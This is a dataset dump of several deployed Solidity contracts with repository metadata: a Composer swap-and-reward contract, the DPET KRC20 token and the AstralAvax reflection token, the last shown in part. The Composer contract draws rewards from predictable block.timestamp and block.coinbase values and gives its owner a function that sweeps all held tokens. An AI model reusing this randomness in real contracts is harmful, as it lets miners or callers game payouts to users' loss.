if iszero(eq(sload(sc), mload(mc))) {
// unsuccess:
success := 0
cb := 0
}
}
}
}
}
default {
// unsuccess:
success := 0
}
}
return success;
}
function slice(bytes memory _bytes,
uint _start,
uint _length)
internal
pure
returns (bytes memory)
{
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
// lengthmod <= _length % 32
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function containMAddresses(address[] memory _keepers, address[] memory _signers, uint _m) internal pure returns (bool){
uint m = 0;
for(uint i = 0; i < _signers.length; i++){
for (uint j = 0; j < _keepers.length; j++) {
if (_signers[i] == _keepers[j]) {
m++;
delete _keepers[j];
}
}
}
return m >= _m;
}
function compressMCPubKey(bytes memory key) internal pure returns (bytes memory newkey) {
require(key.length >= 67, "key lenggh is too short");
newkey = slice(key, 0, 35);
if (uint8(key[66]) % 2 == 0){
newkey[2] = bytes1(0x02);
} else {
newkey[2] = bytes1(0x03);
}
return newkey;
}
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
| 13,815 | 12,253 |
9edcc2602a3c6951e1d09c00fdc89879255a58a83b287dcd3fe4f178a46ae57f
| 19,316 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TA/TAfLs96tYrYyQxGqojtLnCyp276Shq7kaR_Composer.sol
| 4,986 | 17,619 |
//SourceUnit: basecomposer102.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.5;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactETHForTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapExactTokensForETH(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external returns (uint256[] memory amounts);
function swapETHForExactTokens(uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
function quote(uint256 amountA,
uint256 reserveA,
uint256 reserveB) external pure returns (uint256 amountB);
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountOut);
function getAmountIn(uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IPowerPool {
function AddPowerOnly(address _user, uint256 _power) external;
function AddPowerAndProfit(address _composer, uint256 _power, uint256 _token, uint256 _busd, uint _price) external;
}
contract Composer is Context, Ownable{
using SafeMath for uint256;
struct ComposedData {
address composerAddr;
uint256 composeTime;
uint256 busd;
uint256 token;
uint256 power;
}
string constant public Version = "BASECOMPOSER V1.0.2";
mapping(uint256 => ComposedData) public _composedData;
mapping(address => uint256[]) private _userComposedData;
mapping(address => uint256) public _lastTime;
uint256 public index;
uint256 public maxIndex;
uint256 public profitIndex = 1e8;
uint256 public perTime = 24 * 3600;
uint256 public proportion = 1e18;
uint256 public idoProportion = 1e18;
// uint256 public ammPoint = 50;
uint256 public profitPoint = 900;
uint256 public pow = 5;
address public token;
address public idoToken;
address public buytoken;
address public busd;
address public powerAddr;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
// bool public addLiquidity;
bool public canComposeAndProfit;
bool public canComposeOnly;
IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
event Composed(address indexed _composer, uint256 _token, uint256 _busd, uint256 _pow, uint256 _power, uint liquidity);
function getUserComposedDatas(address who) public view returns (uint256[] memory){
return _userComposedData[who];
}
function getProportion() public view returns (uint256){
if (proportion == 0) {
address[] memory path = new address[](2);
path[1] = busd; path[0] = token;
uint[] memory _price = uniswapV2Router.getAmountsOut(1e18, path);
return _price[1];
}else {
return proportion;
}
}
function getIDOProportion() public view returns (uint256){
if (idoProportion == 0) {
address[] memory path = new address[](2);
path[1] = busd; path[0] = idoToken;
uint[] memory _price = uniswapV2Router.getAmountsOut(1e18, path);
return _price[1];
}else {
return idoProportion;
}
}
function SetContracts(address _buytoken, address _busd, address _powerAddr) public onlyOwner {
busd = _busd;
buytoken = _buytoken;
powerAddr = _powerAddr;
}
function SetProfit(address _token, uint256 _profitPoint, bool _canProfit) public onlyOwner {
require(_profitPoint <= 1000, "ProfitPoint Must 0 to 1000");
token = _token;
profitPoint = _profitPoint;
if(canComposeAndProfit != _canProfit) canComposeAndProfit = _canProfit;
}
function SetCompose(bool _canOnly, bool _canProfit) public onlyOwner {
if(canComposeOnly != _canOnly) canComposeOnly = _canOnly;
if(canComposeAndProfit != _canProfit) canComposeAndProfit = _canProfit;
}
function SetRouter(address _router) public onlyOwner {
require(Address.isContract(_router), "Cannot set to a non-contract address");
uniswapV2Router = IUniswapV2Router02(_router);
}
function SetProportion(uint256 _proportion) public onlyOwner {
proportion = _proportion;
}
function SetIDOProportion(uint256 _idoProportion) public onlyOwner {
idoProportion = _idoProportion;
}
function SetOnly(address _idoToken, uint256 _pow, uint256 _maxIndex, bool _canOnly) public onlyOwner {
require(_maxIndex < 1e8, "maxIndex must small than 100000000!");
idoToken = _idoToken;
maxIndex = _maxIndex;
pow = _pow;
if(canComposeOnly != _canOnly) canComposeOnly = _canOnly;
}
function SetPerTime(uint256 _perTime) public onlyOwner {
perTime = _perTime;
}
function ComposeFormBusd(address _composer, uint256 _busd, bool _hasProfit) public returns (uint256 _pow, uint256 _power) {
uint256 _token;
if(_hasProfit){
_token = _busd.mul(1e18).div(getProportion());
return composeAndProfit(_composer, _token, _busd);
}else{
_token = _busd.mul(1e18).div(getIDOProportion());
return composeOnly(_composer, _token, _busd);
}
}
function WithdrawToken(address _token) public onlyOwner{
IBEP20(_token).transfer(msg.sender,IBEP20(_token).balanceOf(address(this)));
}
function composeAndProfit(address _composer, uint256 _token, uint256 _busd) internal returns (uint256 _pow, uint256 _power){
require(canComposeAndProfit, "ComposeAndProfit is not open");
require(block.timestamp >= (_lastTime[_composer] + perTime), "waitting Time End!");
check(_composer,token,_token, _busd);
uint price = getPrice();
_pow = random();
_power = _busd * _pow;
uint porfit = swaping(_busd,address(this),true);
_lastTime[_composer] = block.timestamp;
_userComposedData[_composer].push(profitIndex);
_composedData[profitIndex].composerAddr = _composer;
_composedData[profitIndex].composeTime = block.timestamp;
_composedData[profitIndex].busd = _busd;
_composedData[profitIndex].token = _token;
_composedData[profitIndex].power = _power;
profitIndex += 1;
emit Composed(_composer, _token, _busd, _pow, _power, 0);
IPowerPool(powerAddr).AddPowerAndProfit(_composer, _power, porfit, _busd, price);
return (_pow,_power);
}
function composeOnly(address _composer, uint256 _token, uint256 _busd) internal returns (uint256 _pow, uint256 _power){
require(canComposeOnly, "ComposeOnly is not open");
require(maxIndex > index, "Out Of Max Times");
_pow = pow;
_power = _busd * pow;
_userComposedData[_composer].push(index);
_composedData[index].composerAddr = _composer;
_composedData[index].composeTime = block.timestamp;
_composedData[index].busd = _busd;
_composedData[index].token = _token;
_composedData[index].power = _power;
index += 1;
emit Composed(_composer, _token, _busd, pow, _power, 0);
check(_composer,idoToken,_token, _busd);
// IBEP20(idoToken).transferFrom(_composer,deadWallet,_token);
// IBEP20(busd).transferFrom(_composer,address(this),_busd);
swaping(_busd,deadWallet,false);
IPowerPool(powerAddr).AddPowerOnly(_composer, _power);
return (_pow,_power);
}
function check(address _composer, address _tokenAddr, uint256 _token, uint256 _busd) internal {
IBEP20(_tokenAddr).transferFrom(_composer,deadWallet,_token);
IBEP20(busd).transferFrom(_composer,address(this),_busd);
}
function swaping(uint256 _busd, address to, bool _hasProfit) internal returns (uint) {
address[] memory path = new address[](2);
path[0] = busd; path[1] = buytoken;
IBEP20(busd).approve(address(uniswapV2Router), _busd);
uint balanceBefore = IBEP20(buytoken).balanceOf(to);
uniswapV2Router.swapExactTokensForTokens(_busd,0,path,to,block.timestamp);
if (_hasProfit){
uint balanceAfter = IBEP20(buytoken).balanceOf(to);
uint _profit = balanceAfter.sub(balanceBefore).mul(profitPoint).div(1000);
if (_profit > 0){
IBEP20(buytoken).transfer(powerAddr, _profit);
}
return _profit;
}
return 0;
}
function getPrice() internal view returns (uint) {
address[] memory path = new address[](2);
path[1] = busd; path[0] = buytoken;
uint[] memory _price = uniswapV2Router.getAmountsOut(1e18, path);
return _price[1];
}
function random() internal view returns (uint256 pows) {
uint256 size;
size = uint256(keccak256(abi.encodePacked(block.timestamp,block.coinbase))) % 100;
if (size <= 67) {
pows = 4;
}else if (size <= 82){
pows = 6;
}else if (size <= 90){
pows = 8;
}else if (size <= 95){
pows = 10;
}else if (size <= 98){
pows = 12;
}else if (size == 99){
pows = 14;
}else {
pows = 0;
}
}
}
| 301,472 | 12,254 |
4aececfb4d67c9fc6bc12b1af17d73b5fccc53df43cc170822bc94d08d1fb945
| 22,685 |
.sol
|
Solidity
| false |
368794792
|
mydefipet/my-defi-pet
|
5b6063408d93b84850b6ea53137ceafc080785dd
|
contracts/Krc20DPET.sol
| 2,491 | 9,631 |
pragma solidity 0.5.17;
interface IKRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused) ;
_;
}
function pause() onlyOwner external whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() onlyOwner external whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract KRC20 is Context, IKRC20, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public whenNotPaused returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external whenNotPaused returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "KRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external whenNotPaused returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external whenNotPaused returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "KRC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "KRC20: transfer from the zero address");
require(recipient != address(0), "KRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "KRC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "KRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "KRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "KRC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "KRC20: approve from the zero address");
require(spender != address(0), "KRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "KRC20: burn amount exceeds allowance"));
}
}
contract KRC20Detailed is IKRC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract DPETToken is KRC20Detailed, KRC20 {
uint256 private totalTokens;
constructor() public KRC20Detailed("My DeFi Pet Token", "DPET", 18) {
totalTokens = 100000000 * 10 ** uint256(decimals());
_mint(owner(), totalTokens); // total supply fixed at 1 billion token
}
function transfer(address _receiver, uint256 _amount) public returns (bool success) {
require(_receiver != address(0));
return KRC20.transfer(_receiver, _amount);
}
function transferFrom(address _from, address _receiver, uint256 _amount) public returns (bool) {
require(_from != address(0));
require(_receiver != address(0));
require(_amount <= allowance(_from, msg.sender));
return KRC20.transferFrom(_from, _receiver, _amount);
}
function getBurnedAmountTotal() external view returns (uint256 _amount) {
return totalTokens.sub(totalSupply());
}
function burn(uint256 _amount) external {
_burn(msg.sender, _amount);
}
// to swap cross-chain
function mint(uint256 _amount, address _addr) external onlyOwner {
require(totalSupply().add(_amount) <= totalTokens);
_mint(_addr, _amount);
}
function () payable external {
revert();
}
}
| 156,428 | 12,255 |
7b65e65ff70d2c94846727c6da954978c3560b2f28647859f3f7a8fb161356c6
| 18,835 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/66/66bf029Ce50e0c9f79d922555A706f2472E32A06_AstralAvax.sol
| 4,189 | 15,804 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AstralAvax is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'AstralAvax';
string private _symbol = 'AstralAvax';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
